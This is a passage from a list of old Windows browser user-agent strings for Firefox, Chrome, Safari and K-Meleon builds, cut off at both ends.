(Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 ( .NET CLR 3.5.30729; .NET CLR 4.0.20506) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.30 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.6 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.151.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.152.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.4.154.31 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.42 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.46 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.50 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.59 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.2 Safari/528.10 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.11 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.11 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.1 Safari/528.8 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Chrome/2.0.160.0 Safari/530.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Chrome/2.0.162.0 Safari/530.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.164.0 Safari/530.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.168.0 Safari/530.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.171.0 Safari/530.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.2 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.23 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.39 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.40 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.6 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.173.1 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.176.0 Safari/530.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.0 Safari/531.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.17 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.20 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.3 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.7 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.220.1 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.12 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.0 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.224.2 Safari/532.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.241.0 Safari/532.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.5 Safari/533.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/533.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.127 Safari/533.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.8 (KHTML, like Gecko) Chrome/7.0.521.0 Safari/534.8 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.7.13) Gecko/20050610 K-Meleon/0.9 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.5.12 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.21022; .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.4 (build 02647) Firefox/3.5.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 (.NET CLR 3.5.30729) FirePHP/0.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b2) Gecko/20081127 Firefox/3.1b1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b3) Gecko/20090405 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100527 Firefox/3.6.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100527 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.8) Gecko/20100722 BTRS86393 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0C) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-gb) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-us) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9 -Mozilla/5.0 (Windows; U; Windows NT 6.0; es-AR; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.2) Gecko/20100115 Firefox/3.6 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; es-MX; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; es-es) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fi; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.1b1) Gecko/20081007 Firefox/3.1b1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528+ (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; hu-HU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; id; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 GTB6 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; ko; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; nb-NO) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 -Mozilla/5.0 (Windows; U; Windows NT 6.0; pl-PL) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 GTB7.1 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.2) Gecko/20100115 Firefox/3.6 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ru-RU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.2) Gecko/20100105 Firefox/3.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.2) Gecko/20100115 Firefox/3.6 -Mozilla/5.0 (Windows; U; Windows NT 6.0; sr; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 -Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.0.18) Gecko/2010020220 Firefox/3.0.18 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 -Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; tr-TR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; tr; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre -Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; ar; rv:1.9.2) Gecko/20100115 Firefox/3.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ca; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; de-AT; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/10.0.649.0 Safari/534.17 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 4.0.20506) -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.11) Gecko/20100701 Firefox/3.5.11 ( .NET CLR 3.5.30729; .NET4.0C) -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.16) Gecko/20101130 AskTbMYC/3.9.1.14019 Firefox/3.5.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.3) Gecko/20121221 Firefox/3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.8) Gecko/20100722 Firefox 3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.3) Gecko/20100401 Firefox/3.6;MEGAUPLOAD 1.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0C) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.154.9 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/1.0.156.0 Safari/528.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.1 Safari/528.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Chrome/2.0.182.0 Safari/531.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/2.0.182.0 Safari/531.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/2.0.182.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/3.0.191.0 Safari/531.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.4 (KHTML, like Gecko) Chrome/3.0.194.0 Safari/531.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532+ (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.3 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 